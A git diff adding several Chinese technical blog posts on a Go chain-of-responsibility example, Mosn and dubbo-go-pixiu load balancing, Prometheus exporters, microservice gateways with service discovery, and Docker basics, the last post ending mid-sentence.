+ +``` +package main + +import "fmt" + +//数据 +type patient struct { + name string + registrationDone bool + doctorCheckUpDone bool + medicineDone bool + paymentDone bool +} + +//接口 +type department interface { + execute(*patient) + setNext(department) +} + +//处理者1 +type reception struct { + next department +} + +func (r *reception) execute(p *patient) { + if p.registrationDone { + fmt.Println("Patient registration already done") + r.next.execute(p) + return + } + fmt.Println("Reception registering patient") + p.registrationDone = true + r.next.execute(p) +} + +func (r *reception) setNext(next department) { + r.next = next +} + +//处理者2 +type doctor struct { + next department +} + +func (d *doctor) execute(p *patient) { + if p.doctorCheckUpDone { + fmt.Println("Doctor checkup already done") + d.next.execute(p) + return + } + fmt.Println("Doctor checking patient") + p.doctorCheckUpDone = true + d.next.execute(p) +} + +func (d *doctor) setNext(next department) { + d.next = next +} + +//处理者3 +type medical struct { + next department +} + +func (m *medical) execute(p *patient) { + if p.medicineDone { + fmt.Println("Medicine already given to patient") + m.next.execute(p) + return + } + fmt.Println("Medical giving medicine to patient") + p.medicineDone = true + m.next.execute(p) +} + +func (m *medical) setNext(next department) { + m.next = next +} + +//处理者4 +type cashier struct { + next department +} + +func (c *cashier) execute(p *patient) { + if p.paymentDone { + fmt.Println("Payment Done") + } + fmt.Println("Cashier getting money from patient patient") +} + +func (c *cashier) setNext(next department) { + c.next = next +} + +func main() { + + cashier := &cashier{} + + //Set next for medical department + medical := &medical{} + medical.setNext(cashier) + + //Set next for doctor department + doctor := &doctor{} + doctor.setNext(medical) + + //Set next for reception department + reception := &reception{} + reception.setNext(doctor) + + patient := &patient{name: "abc"} + //Patient visiting + reception.execute(patient) +} + +``` + diff --git a/_posts/2022-07-20-test-markdown.md b/_posts/2022-07-20-test-markdown.md new file mode 100644 index 000000000000..ea875a6a1aef --- /dev/null +++ b/_posts/2022-07-20-test-markdown.md @@ -0,0 +1,60 @@ +--- +layout: post +title: 从Mosn 源码到dubbo-go-pixiu 源码 +subtitle: 七层负载均衡 +tags: [开源] +--- + +# 从Mosn 源码到dubbo-go-pixiu 源码 + +## 七层负载均衡 + +> 客户端建立一个到负载均衡 器的 TCP 连接。负载均衡器**终结该连接**(即直接响应 SYN),然后选择一个后端,并与该后端建立一个新的 TCP 连接(即发送一个新的 SYN)。四层负载均衡器通常只在四层 `TCP/UDP` 连接/会话级别上运行。因此, 负载均衡器通过转发数据,并确保来自同一会话的字节在同一后端结束。四层负载均衡器 不知道它正在转发数据的任何应用程序细节。数据内容可以是 `HTTP`, `Redis`, `MongoDB`,或任 何应用协议。 +> +> 四层负载均衡有哪些缺点是七层(应用)负载均衡来解决的呢? 假如两个 `gRPC/HTTP2` 客户端通过四层负载均衡器连接想要与一个后端通信。四层负载均衡器为每个入站 TCP 连接创建一个出站的 TCP 连接,从而产生两个入站和两个出站的连接(CA ==> `loadbalancer` ==> SA, CB ==> `loadbalancer` ==> SB)。假设,客户端 A 每分钟发送 1 个请求,而客户端 B 每秒发送 50 个请求,则SA 的负载是 SB的 50倍。所以四层负载均衡器问题随着时 间的推移变得越来越不均衡。 + +![img](https://qiankunli.github.io/public/upload/network/seven_layer_load_balance.jpeg) + +上图 显示了一个七层 HTTP/2 负载均衡器。客户端创建一个到负载均衡器的HTTP/2 TCP 连接。负载均衡器创建连接到两个后端。当客户端向负载均衡器发送两个HTTP/2 流时,流 1 被发送到后端 1,流 2 被发送到后端 2。因此,即使请求负载有很大差 异的客户端也会在后端之间实现高效地分发。这就是为什么七层负载均衡对现代协议如此 重要的原因。对于`mosn`来说,还支持协议转换,比如client `mosn` 之间是`http`,`mosn` 与server 之间是 `grpc` 协议。 + +## 初始化和启动 + +``` +// mosn.io/mosn/pkg/mosn/starter.go +type Mosn struct { + servers []server.Server + clustermanager types.ClusterManager + routerManager types.RouterManager + config *v2.MOSNConfig + adminServer admin.Server + xdsClient *xds.Client + wg sync.WaitGroup + // for smooth upgrade. reconfigure + inheritListeners []net.Listener + reconfigure net.Conn +} + + +``` + +``` +//dubbo-go-pixiu/pkg/server/pixiu_start.go +// PX is Pixiu start struct +type Server struct { + startWG sync.WaitGroup + + listenerManager *ListenerManager + clusterManager *ClusterManager + adapterManager *AdapterManager + // routerManager and apiConfigManager are duplicate, because route and dubbo-protocol api_config are a bit repetitive + routerManager *RouterManager + apiConfigManager *ApiConfigManager + dynamicResourceManger DynamicResourceManager + traceDriverManager *tracing.TraceDriverManager +} +``` + +- `clustermanager` 顾名思义就是集群管理器。 `types.ClusterManager` 也是接口类型。这里的 cluster 指得是 `MOSN` 连接到的一组逻辑上相似的上游主机。`MOSN` 通过服务发现来发现集群中的成员,并通过主动运行状况检查来确定集群成员的健康状况。`MOSN` 如何将请求路由到集群成员由负载均衡策略确定。 +- `routerManager` 是路由管理器,`MOSN` 根据路由规则来对请求进行代理。 + +### 初始化 \ No newline at end of file diff --git a/_posts/2022-07-21-test-markdown.md b/_posts/2022-07-21-test-markdown.md new file mode 100644 index 000000000000..766b242a015d --- /dev/null +++ b/_posts/2022-07-21-test-markdown.md @@ -0,0 +1,233 @@ +--- +layout: post +title: 通过Exporter收集指标 +subtitle: 自定义Exporter收集指标 +tags: [Microservices gateway] +--- + +# 通过Exporter收集指标 + +### Exporter介绍 + +Exporter 是一个采集监控数据并通过 Prometheus 监控规范对外提供数据的组件,它负责从目标系统(Your 服务)搜集数据,并将其转化为 Prometheus 支持的格式。Prometheus 会周期性地调用 Exporter 提供的 metrics 数据接口来获取数据。那么使用 Exporter 的好处是什么?举例来说,如果要监控 Mysql/Redis 等数据库,我们必须要调用它们的接口来获取信息(前提要有),这样每家都有一套接口,这样非常不通用。所以 Prometheus 做法是每个软件做一个 Exporter,Prometheus 的 Http 读取 Exporter 的信息(将监控指标进行统一的格式化并暴露出来)。简单类比,Exporter 就是个翻译,把各种语言翻译成一种统一的语言。 + +![img](https://oss-emcsprod-public.modb.pro/wechatSpider/modb_20210915_1411fd88-15dd-11ec-9103-00163e068ecd.png) + +对于Exporter而言,它的功能主要就是将数据周期性地从监控对象中取出来进行加工,然后将数据规范化后通过端点暴露给Prometheus,所以主要包含如下3个功能。 + +- 封装功能模块获取监控系统内部的统计信息。 +- 将返回数据进行规范化映射,使其成为符合Prometheus要求的格式化数据。 +- Collect模块负责存储规范化后的数据,最后当Prometheus定时从Exporter提取数据时,Exporter就将Collector收集的数据通过HTTP的形式在/metrics端点进行暴露。 + +### Primetheus client + +golang client 是当pro收集所监控的系统的数据时,用于响应pro的请求,按照一定的格式给pro返回数据,说白了就是一个http server。![img](https://oss-emcsprod-public.modb.pro/wechatSpider/modb_20210915_144f7ffa-15dd-11ec-9103-00163e068ecd.png) + +### 数据类型 + +``` +# HELP go_gc_duration_seconds A summary of the GC invocation durations. +# TYPE go_gc_duration_seconds summary +go_gc_duration_seconds{quantile="0.5"} 0.000107458 +go_gc_duration_seconds{quantile="0.75"} 0.000200112 +go_gc_duration_seconds{quantile="1"} 0.000299278 +go_gc_duration_seconds_sum 0.002341738 +go_gc_duration_seconds_count 18 +# HELP go_goroutines Number of goroutines that currently exist. +# TYPE go_goroutines gauge +go_goroutines 107 +``` + +这些信息有一个共同点,就是采用了不同于JSON或者Protocol Buffers的数据组织形式——文本形式。在文本形式中,每个指标都占用一行,#HELP代表指标的注释信息,#TYPE用于定义样本的类型注释信息,紧随其后的语句就是具体的监控指标(即样本)。#HELP的内容格式如下所示,需要填入指标名称及相应的说明信息。 + +``` +HELP +``` + +\#TYPE的内容格式如下所示,需要填入指标名称和指标类型(如果没有明确的指标类型,需要返回untyped)。 + +``` +TYPE +``` + +监控样本部分需要满足如下格式规范。 + +``` +metric_name [ "{" label_name "=" " label_value " { "," label_name "=" " label_value " } [ "," ] "}" ] value [ timestamp ] +``` + +其中,metric_name和label_name必须遵循PromQL的格式规范。value是一个f loat格式的数据,timestamp的类型为int64(从1970-01-01 00:00:00开始至今的总毫秒数),可设置其默认为当前时间。具有相同metric_name的样本必须按照一个组的形式排列,并且每一行必须是唯一的指标名称和标签键值对组合。 + +- Counter:Counter是一个累加的数据类型。一个Counter类型的指标只会随着时间逐渐递增(当系统重启的时候,Counter指标会被重置为0)。记录系统完成的总任务数量、系统从最近一次启动到目前为止发生的总错误数等场景都适合使用Counter类型的指标。 +- Gauge:Gauge指标主要用于记录一个瞬时值,这个指标可以增加也可以减少,比如CPU的使用情况、内存使用量以及硬盘当前的空间容量等。 +- Histogram:Histogram表示柱状图,主要用于统计一些数据分布的情况,可以计算在一定范围内的数据分布情况,同时还提供了指标值的总和。在大多数情况下,用户会使用某些指标的平均值作为参考,例如,使用系统的平均响应时间来衡量系统的响应能力。这种方式有个明显的问题——如果大多数请求的响应时间都维持在100ms内,而个别请求的响应时间需要1s甚至更久,那么响应时间的平均值体现不出响应时间中的尖刺,这就是所谓的“长尾问题”。为了更加真实地反映系统响应能力,常用的方式是按照请求延迟的范围进行分组,例如在上述示例中,可以分别统计响应时间在[0,100ms]、[100,1s]和[1s,∞]这3个区间的请求数,通过查看这3个分区中请求量的分布,就可以比较客观地分析出系统的响应能力。 +- Summary:Summary与Histogram类似,也会统计指标的总数(以_count作为后缀)以及sum值(以_sum作为后缀)。两者的主要区别在于,Histogram指标直接记录了在不同区间内样本的个数,而Summary类型则由客户端计算对应的分位数。例如下面展示了一个Summary类型的指标,其中quantile=”0.5”表示中位数,quantile=”0.9”表示九分位数。 + +广义上讲,所有可以向Prometheus提供监控样本数据的程序都可以被称为一个Exporter,Exporter的一个实例被称为target,Prometheus会通过轮询的形式定期从这些target中获取样本数据。 + +### 动手编写一个Exporter + +``` +package main + +import ( + "log" + "net/http" + + "github.com/prometheus/client_golang/prometheus" + "github.com/prometheus/client_golang/prometheus/promhttp" +) + +var ( + cpuTemp = prometheus.NewGauge(prometheus.GaugeOpts{ + NameSpace: "our_idc", + Subsystem: "k8s" + Name: "cpu_temperature_celsius", + Help: "Current temperature of the CPU.", + }) + hdFailures = prometheus.NewCounterVec( + prometheus.CounterOpts{ + NameSpace: "our_idc", + Subsystem: "k8s" + Name: "hd_errors_total", + Help: "Number of hard-disk errors.", + }, + []string{"device"}, + ) +) + +func init() { + // Metrics have to be registered to be exposed: + prometheus.MustRegister(cpuTemp) + prometheus.MustRegister(hdFailures) +} + +func main() { + cpuTemp.Set(65.3) + hdFailures.With(prometheus.Labels{"device":"/dev/sda"}).Inc() + + // The Handler function provides a default handler to expose metrics + // via an HTTP server. "/metrics" is the usual endpoint for that. + http.Handle("/metrics", promhttp.Handler()) + log.Fatal(http.ListenAndServe(":8888", nil)) +} +``` + +- `CounterVec`是用来管理相同metric下不同label的一组`Counter` +- `counterVec`是有label的,而单纯的gauage对象却不用lable标识,这就是基本数据类型和对应Vec版本的差别. + +### 自定义Collector + +直接使用Collector,go client Colletor只会在每次响应Prometheus请求的时候才收集数据。需要每次显式传递变量的值,否则就不会再维持该变量,在Prometheus也将看不到这个变量。Collector是一个接口,所有收集metrics数据的对象都需要实现这个接口,Counter和Gauage等不例外。它内部提供了两个函数,Collector用于收集用户数据,将收集好的数据传递给传入参数Channel就可;Descirbe函数用于描述这个Collector。 + +``` +package main + +import ( + "github.com/prometheus/client_golang/prometheus" + "github.com/prometheus/client_golang/prometheus/promhttp" + "net/http" + "sync" +) + +type ClusterManager struct { + sync.Mutex + Zone string + metricMapCounters map[string]string + metricMapGauges map[string]string +} + +//Simulate prepare the data +func (c *ClusterManager) ReallyExpensiveAssessmentOfTheSystemState() ( + metrics map[string]float64, +) { + metrics = map[string]float64{ + "oom_crashes_total": 42.00, + "ram_usage": 6.023e23, + } + return +} + +//通过NewClusterManager方法创建结构体及对应的指标信息,代码如下所示。 +// NewClusterManager creates the two Descs OOMCountDesc and RAMUsageDesc. Note +// that the zone is set as a ConstLabel. (It's different in each instance of the +// ClusterManager, but constant over the lifetime of an instance.) Then there is +// a variable label "host", since we want to partition the collected metrics by +// host. Since all Descs created in this way are consistent across instances, +// with a guaranteed distinction by the "zone" label, we can register different +// ClusterManager instances with the same registry. +func NewClusterManager(zone string) *ClusterManager { + return &ClusterManager{ + Zone: zone, + metricMapGauges: map[string]string{ + "ram_usage": "ram_usage", + }, + metricMapCounters: map[string]string{ + "oom_crashes": "oom_crashes_total", + }, + } +} + +func (c *ClusterManager) Describe(ch chan<- *prometheus.Desc) { + // prometheus.NewDesc(prometheus.BuildFQName(namespace, "", metricName), docString, labels, nil) + for _, v := range c.metricMapGauges { + ch <- prometheus.NewDesc(prometheus.BuildFQName(c.Zone, "", v), v, nil, nil) + } + + for _, v := range c.metricMapCounters { + ch <- prometheus.NewDesc(prometheus.BuildFQName(c.Zone, "", v), v, nil, nil) + } +} + +//Collect方法是核心,它会抓取需要的所有数据,根据需求对其进行分析,然后将指标发送回客户端库。 +// 用于传递所有可能指标的定义描述符 +// 可以在程序运行期间添加新的描述,收集新的指标信息 +// 重复的描述符将被忽略。两个不同的Collector不要设置相同的描述符 +func (c *ClusterManager) Collect(ch chan<- prometheus.Metric) { + c.Lock() + defer c.Unlock() + m := c.ReallyExpensiveAssessmentOfTheSystemState() + for k, v := range m { + t := prometheus.GaugeValue + if c.metricMapCounters[k] != "" { + t = prometheus.CounterValue + } + c.registerConstMetric(ch, k, v, t) + } +} + +// 用于传递所有可能指标的定义描述符给指标 +func (c *ClusterManager) registerConstMetric(ch chan<- prometheus.Metric, metric string, val float64, valType prometheus.ValueType, labelValues ...string) { + descr := prometheus.NewDesc(prometheus.BuildFQName(c.Zone, "", metric), metric, nil, nil) + if m, err := prometheus.NewConstMetric(descr, valType, val, labelValues...); err == nil { + ch <- m + } +} +func main() { + workerCA := NewClusterManager("xiaodian") + reg := prometheus.NewPedanticRegistry() + reg.MustRegister(workerCA) + //当promhttp.Handler()被执行时,所有metric被序列化输出。题外话,其实输出的格式既可以是plain text,也可以是protocol Buffers。 + http.Handle("/metrics", promhttp.HandlerFor(reg, promhttp.HandlerOpts{})) + http.ListenAndServe(":8888", nil) +} + +``` + +## 高质量Exporter的编写原则与方法 + +- 在访问Exporter的主页(即http://yourExporter/这样的根路径)时,它会返回一个简单的页面,这就是Exporter的落地页(Landing Page)。落地页中可以放文档和帮助信息,包括监控指标项的说明。落地页上还包括最近执行的检查列表、列表的状态以及调试信息,这对故障排查非常有帮助。 +- 一台服务器或者容器上可能会有许多Exporter和Prometheus组件,它们都有自己的端口号。因此,在写Exporter和发布Exporter之前,需要检查新添加的端口是否已经被使用[1],建议使用默认端口分配范围之外的端口。 +- 我们应该根据业务类型设计好指标的#HELP#TYPE的格式。这些指标往往是可配置的,包括默认开启的指标和默认关闭的指标。这是因为大部分指标并不会真正被用到,设计过多的指标不仅会消耗不必要的资源,还会影响整体的性能。 +- 对于如何写高质量Exporter,除了合理分配端口号、设计落地页、梳理指标这3个方面外,还有一些其他的原则。 + - 记录Exporter本身的运行状态指标。 + - 可配置化进行功能的启用和关闭。 + - 推荐使用YAML作为配置格式。 + - 遵循度量标准命名的最佳实践[2],特别是_count、_sum、_total、_bucket和info等问题。 + - 为度量提供正确的单位。 + - 标签的唯一性、可读性及必要的冗余信息设计。 + - 通过Docker等方式一键配置Exporter。 + - 尽量使用Collectors方式收集指标,如Go语言中的MustNewConstMetric。 + - 提供scrapes刮擦失败的错误设计,这有助于性能调试。 + - 尽量不要重复提供已有的指标,如Node Exporter已经提供的CPU、磁盘等信息。 + - 向Prometheus公开原始的度量数据,不建议自行计算,Exporter的核心是采集原始指标。 \ No newline at end of file diff --git a/_posts/2022-07-22-test-markdown.md b/_posts/2022-07-22-test-markdown.md new file mode 100644 index 000000000000..a7a8f9c30cbd --- /dev/null +++ b/_posts/2022-07-22-test-markdown.md @@ -0,0 +1,210 @@ +--- +layout: post +title: 微服务系列 +subtitle: 微服务间的通讯 服务注册 服务发现 +tags: [Microservices gateway] +--- + +# 微服务全系列 + +## 1.微服务间的通讯 + +### 单体系统和微服务的区别 + +| **单体系统** | **微服务系统** | +| ------------------------ | ------------------------------------ | +| 程序、数据、配置集中管理 | 按照功能拆分、微服务化、松耦合 | +| 开发效率低下 | 分模块快速迭代 | +| 发布全量,启动慢 | 平滑发布,快速启动 | +| 可靠性差 | 熔断、限流、降级,超时重试,异常离群 | +| 服务内直接调用 | 轻量级通信 | +| 技术单一 | 跨语言 | + +- 微服务有诸多的有利条件,但是如果微服务的粒度比较细(按照业务功能拆分),则他们之间服务调用就会比较复杂,链路会比较长。 + +![点击查看大图](https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-07-22-test-markdown/1.png) + +- 按照职能将服务进行了拆分,这时候从不同的客户端(如 Web、App、3rd)访问,就有可能访问不同的服务。而服务与服务之间又有上下游的协作,调用就变得错综复杂。 +- 可能需要关注很多问题: + - 包括不同的技术栈不同的开发语言之间的上下游交互。 + - 服务之间的注册与发现,请求认证,接入授权。 + - 下游对上游进行调用的时候,上游怎么做负载均衡、故障注入、超时重复、熔断、降级、限流、ABTesting 等,端到端之间如何实现监控和 trace。 + +### 微服务通信的三个方面 + +### 1.基于网关的通信 + +![点击查看大图](https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-07-22-test-markdown/2.png) + +没有网关的情况下进行通讯,如上图有 3 个客户端,在调用 4 个服务的接口。这种直连调用的方式有很多问题:客户端需要保存所有服务的地址,同时也需要实现一些系统级的容错策略。比如负载均衡、超时重试、服务熔断等,非常复杂,并且难以维护。因为是在各客户端保存的服务地址,一旦某个服务端出现问题或者发生迁移,所有的客户端都需要修改并且升级。另外如果再增加一个 E svc,所有的客户端也需要升级。而且在某些场景下存在跨域请求的问题,每个服务都需要实现独立的身份和权限认证等等。 + +> 客户端都需要修改并且升级。我们需要的是客户端不要有太大的变化。 + +如果我们在客户端和服务端增加一层网关,所有请求都经过网关转发到对应的下游服务,客户端只需要保存网关的地址并且只和网关进行交互,这样就大大简化了客户端的开发。 + +![点击查看大图](https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-07-22-test-markdown/3.png) + +如果需要访问用户服务,只需要构造右边这个请求发给网关,然后由网关将请求转发给对应的下游服务。 + +可以将网关简单理解为:路由转发+治理策略,治理策略是指和业务无关的一些通用策略,包括:负载均衡,安全认证,身份验证,系统容错等等。网关作为一个 API 架构层,用来保护、增强和控制对服务的访问。 + +##### 网关的主要功能 + +###### **请求接入** + +1、为各种应用提供统一的服务接入 + +2、管理所有的接入请求:提供流量分流、代理转发、延迟、故障注入等能力 + +###### **安全防护** + +用户认证、权限校验、黑白名单、请求过滤、防 web 攻击 + +###### **治理策略** + +负载均衡、接口限流、超时重试、服务熔断、灰度发布、协议适配、流量监控、日志统计等 + +###### **统一管理** + +1、提供配置管理工具 + +2、对所有服务进行统一管理 + +3、对中介策略进行统一管理 + +##### 网关使用场景 + +###### **蓝绿部署** + +![点击查看大图](https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-07-22-test-markdown/4.png) + +前面看到,在单体应用中,部署是一件比较麻烦的事情,每次的改动,都需要把整个应用程序都发布启动一次。而且系统规模越大,部署过程越复杂,时间越长。 + +而在微服务架构中,模块部署起来相对更快,更容易。可以在短时间内对于同一个模块做多次部署,网关可以帮实现蓝绿部署。 + +如图所示之前的用户服务版本是 V1.0,然后部署 V1.1 版本,在网关上只需要做一个转发配置的修改,就可以迅速的将所有流量都流到新版本。 + +###### **灰度发布** + +![点击查看大图](https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-07-22-test-markdown/5.png) + +类似金丝雀的理念,对一次性升级版本感到担忧,可以先配置 5%的流量达到新版本,让部分人试用一下,等线上观察一段时间后,可以逐步增加对新版本的流量百分比,最终实现百分之百切流。 + +###### **负载均衡** + +![点击查看大图](https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-07-22-test-markdown/6.png) + +此能力需要依赖服务注册和服务发现。 + +###### **服务熔断** + +![点击查看大图](https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-07-22-test-markdown/7.png) + +网关还可以实现断路器的功能;如果某个下游忽然返回了大量错误,原因有可能是服务挂了或者网络问题或者服务器负载太高,如果此时继续给这个问题服务转发流量就可能会产生级联故障。 + +出问题的服务有可能产生雪崩,雪崩会沿着调用链向上传递,导致整个服务链都崩溃。 + +断路器可以停止向问题模块转发流量,在业务层面可以给用户返回一个服务降级之后的页面,开发人员就有相对充分的时间来定位和解决问题。 + +##### 开源网关 + +![点击查看大图](https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-07-22-test-markdown/8.png) + +### 2.基于 RPC 的通信 + +### 3.基于 ServiceMesh 的数据面(SideCar)的通信 + +## 2.微服务的注册与发现 + +微服务注册与发现类似于生活中的"电话通讯录"的概念,它记录了通讯录服务和电话的映射关系。在分布式架构中,服务会注册进去,当服务需要调用其它服务时,就这里找到服务的地址,进行调用。 + +- 先要把"好友某某"记录在通讯录中 +- 拨打电话的时候通过通讯录中找到"好友某某",并拨通回电话。 +- 当好友某某电话号码更新的时候,需要通知到,并修改通讯录服务中的号码。 + +1、把 "好友某某" 的电话号码写入通讯录中,统一在通讯录中维护,后续号码变更也是更新到通讯录中,这个过程就是服务注册的过程。 + +2、后续我们通过"好友某某"就可以定位到通讯录中的电话号码,并拨通电话,这个过程理解为服务发现的过程。 + +微服务架构中的服务注册与发现结构如下图所示: + +![点击查看大图](https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-07-22-test-markdown/9.png) + +``` +provider - 服务提供者 +consumer - 服务消费者 +register center - 注册中心 +``` + +它们之间的关系大致如下: + +1. 每个微服务在启动时,将自己的网络地址等信息(微服务的`ServiceName`、`IP`、`Port`、`MetaData`等)注册到注册中心,注册中心存储这些数据。 +2. 服务消费者从注册中心查询服务提供者的地址,并通过该地址调用服务提供者的接口。 +3. 各个微服务与注册中心使用一定机制(例如心跳)通信。如果注册中心与某微服务长时间无法通信,就会注销该实例。 + +优点如下: + +1、解耦:服务消费者跟服务提供者解耦,各自变化,不互相影响 + +2、扩展:服务消费者和服务提供者增加和删除新的服务,对于双方没有任何影响 + +3、中介者设计模式:用一个中介对象来封装一系列的对象交互,这是一种多对多关系的中介者模式。 + +#### 服务注册 + +![点击查看大图](https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-07-22-test-markdown/10.png) + +如图中,为 Register 注册中心注册一个服务信息,会将服务的信息:`ServiceName`、`IP`、Port 以及服务实例`MetaData`元数据信息写入到注册中心。当服务发生变化的时候,也可以更新到注册中心。 + +服务提供者(服务实例) 的服务注册模型是一种简单、容易理解、流行的服务注册模型,其在多种技术生态中都有所体现: + +- 在`K8S`生态中,通过 `K8S Service`服务信息,和 Pod 的 endpoint(用来记录 service 对应的 pod 的访问地址)来进行注册。 +- 在 Spring Cloud 生态中,应用名 对应 服务 Service,实例 `IP + Port` 对应 Instance 实例。比较典型的就是 A 服务,后面对应有多个实例做负载均衡。 +- 在其他的注册组件中,比如 Eureka、Consul,服务模型也都是 服务 → 服务实例。 +- 可以认为服务实例是一个真正的实体的载体,服务是对这些相同能力或者相同功能服务实例的一个抽象。![点击查看大图](https://raw.githubusercontent.com/gongna-au/MarkDownImage/main/posts/2022-07-22-test-markdown/11.png) + +#### 服务发现 + +- 服务发现实际就是我们查询已经注册好的服务提供者,比如 `p->p.queryService(serviceName`),通过服务名称查询某个服务是否存在,如果存在, +- 返回它的所有实例信息,即一组包含 ip 、 port 、`metadata`元数据信息的`endpoints`信息。 +- 这一组 endpoints 信息一般会被缓存在本地,如果注册中心挂掉,可保证段时间内依旧可用,这是去中心化的做法。对于单个 Service 后面有多个 Instance 的情况(如上图),做 load balance。 + +服务发现的方式一般有两种: + +1、拉取的方式:服务消费方(Consumer)主动向注册中心发起服务查询的请求。 + +2、推送的方式:服务订阅/通知变更(下发):服务消费方(Consumer)主动向注册中心订阅某个服务,当注册中心中该服务信息发生变更时,注册中心主动通知消费者。 + +#### 注册中心 + +注册中心提供的基本能力包括:提供服务注册、服务发现 以及 健康检查。 + +服务注册跟服务发现上面已经详细介绍了, 健康检查指的是指注册中心能够感知到微服务实例的健康状况,便于上游微服务实例及时发现下游微服务实例的健康状况。采取必备的访问措施,如避免访问不健康的实例。 + +主要的检查方式包括: + +1、服务 Provider 进行 TTL 健康汇报(Time To Live,微服务 Provider 定期向注册中心汇报健康状态)。 + +2、注册中心主动检查服务 Provider 接口。 + +综合我们前面的内容,可以总结下注册中心有如下几种能力: + +1、高可用 + +这个主要体现在两个方面。一个方面是,注册中心本身作为基础设施层,具备高可用;第二种是就是前面我们说到的去中心化,极端情况下的故障,短时间内是不影响微服务应用的调用的 + +2、可视化操作 + +常用的注册中心,类似 Eureka、Consul 都有比较丰富的管理界面,对配置、服务注册、服务发现进行可视化管理。 + +3、高效运维 + +注册中心的文档丰富,对运维的支持比较好,并且对于服务的注册是动态感知获取的,方便动态扩容。 + +4、权限控制 + +数据是具有敏感性,无论是服务信息注册或服务是调用,需要具备权限控制能力,避免侵入或越权请求 + +5、服务注册推、拉能力 + +这个前面说过了,微服务应用程序(服务的 Consumer),能够快速感知到服务实例的变化情况,使用拉取或者注册中心下发的方式进行处理。 diff --git a/_posts/2022-08-19-test-markdown.md b/_posts/2022-08-19-test-markdown.md new file mode 100644 index 000000000000..d7fc5e58bc1f --- /dev/null +++ b/_posts/2022-08-19-test-markdown.md @@ -0,0 +1,326 @@ +--- +layout: post +title: 什么是 Docker +subtitle: Docker虚拟化 +tags: [docker] +--- + +## 什么是 Docker + +> **Docker** 使用 `Google` 公司推出的 [Go 语言](https://golang.google.cn/) 进行开发实现,基于 `Linux` 内核的 [cgroup](https://zh.wikipedia.org/wiki/Cgroups),[namespace](https://en.wikipedia.org/wiki/Linux_namespaces),以及 [OverlayFS](https://docs.docker.com/storage/storagedriver/overlayfs-driver/) 类的 [Union FS](https://en.wikipedia.org/wiki/Union_mount) 等技术,对进程进行封装隔离,属于 [操作系统层面的虚拟化技术](https://en.wikipedia.org/wiki/Operating-system-level_virtualization)。由于隔离的进程独立于宿主和其它的隔离的进程,因此也称其为容器。最初实现是基于 [LXC](https://linuxcontainers.org/lxc/introduction/),从 `0.7` 版本以后开始去除 `LXC`,转而使用自行开发的 [libcontainer](https://github.com/docker/libcontainer),从 `1.11` 版本开始,则进一步演进为使用 [runC](https://github.com/opencontainers/runc) 和 [containerd](https://github.com/containerd/containerd)。 + +- 操作系统层面的虚拟化技术 + +![img](https://docs.microsoft.com/en-us/virtualization/windowscontainers/deploy-containers/media/docker-on-linux.png) + +- `runc` 是一个 Linux 命令行工具,用于根据 [OCI 容器运行时规范](https://github.com/opencontainers/runtime-spec) 创建和运行容器。 +- `containerd` 是一个守护程序,它管理容器生命周期,提供了在一个节点上执行容器和管理镜像的最小功能集。 + +**Docker** 在容器的基础上,进行了进一步的封装,从文件系统、网络互联到进程隔离等等,极大的简化了容器的创建和维护。使得 `Docker` 技术比虚拟机技术更为轻便、快捷 + +下面的图片比较了 **Docker** 和传统虚拟化方式的不同之处。传统虚拟机技术是虚拟出一套硬件后,在其上运行一个完整操作系统,在该系统上再运行所需应用进程;而容器内的应用进程直接运行于宿主的内核,容器内没有自己的内核,而且也没有进行硬件虚拟。因此容器要比传统虚拟机更为轻便。 + +![img](https://3503645665-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M5xTVjmK7ax94c8ZQcm%2Fuploads%2Fgit-blob-6e94771ad01da3cb20e2190b01dfa54e3a69d0b2%2Fvirtualization.png?alt=media) + +传统虚拟化 + +![img](https://3503645665-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M5xTVjmK7ax94c8ZQcm%2Fuploads%2Fgit-blob-5c1a41d44b8602c8f746e8929f484a701869ca25%2Fdocker.png?alt=media) + +Docker 虚拟化 + +### 1.Docker 的优点 + +- **相比虚拟机技术,一个相同配置的主机,往往可以运行更多数量的应用**。 + + 由于容器不需要进行硬件虚拟以及运行完整操作系统等额外开销`Docker` 对系统资源的利用率更高。无论是应用执行速度、内存损耗或者文件存储速度,都要比传统虚拟机技术更高效。因此,相比虚拟机技术,一个相同配置的主机,往往可以运行更多数量的应用。 + +- **一致的运行环境** + + 开发过程中一个常见的问题是环境一致性问题。由于开发环境、测试环境、生产环境不一致,导致有些 bug 并未在开发过程中被发现。而 `Docker` 的镜像提供了除内核外完整的运行时环境,确保了应用运行环境一致性,从而不会再出现 _「这段代码在我机器上没问题啊」_ 这类问题。 + +- 定制镜像 + + 对开发和运维([DevOps](https://zh.wikipedia.org/wiki/DevOps))人员来说,最希望的就是一次创建或配置,可以在任意地方正常运行。 + + 使用 `Docker` 可以通过定制应用镜像来实现持续集成、持续交付、部署。开发人员可以通过 [Dockerfile]() 来进行镜像构建,并结合 [持续集成(Continuous Integration)](https://en.wikipedia.org/wiki/Continuous_integration) 系统进行集成测试,而运维人员则可以直接在生产环境中快速部署该镜像,甚至结合 [持续部署(Continuous Delivery/Deployment)](https://en.wikipedia.org/wiki/Continuous_delivery) 系统进行自动部署。 + + 而且使用 [`Dockerfile`]() 使镜像构建透明化,不仅仅开发团队可以理解应用运行环境,也方便运维团队理解应用运行所需条件,帮助更好的生产环境中部署该镜像 + +- 轻松的迁移 + + 环境的一致性,使得应用的迁移更加容易。`Docker` 可以在很多平台上运行,无论是物理机、虚拟机、公有云、私有云,甚至是笔记本,其运行结果是一致的 + +- 扩展 + + `Docker` 团队同各个开源项目团队一起维护了一大批高质量的 [官方镜像](https://hub.docker.com/search/?type=image&image_filter=official), + +### 2.**镜像**(`Image`) + +> 我们都知道,操作系统分为 **内核** 和 **用户空间**。对于 `Linux` 而言,内核启动后,会挂载 `root` 文件系统为其提供用户空间支持。而 **Docker 镜像**(`Image`),就相当于是一个 `root` 文件系统 + +**Docker 镜像** 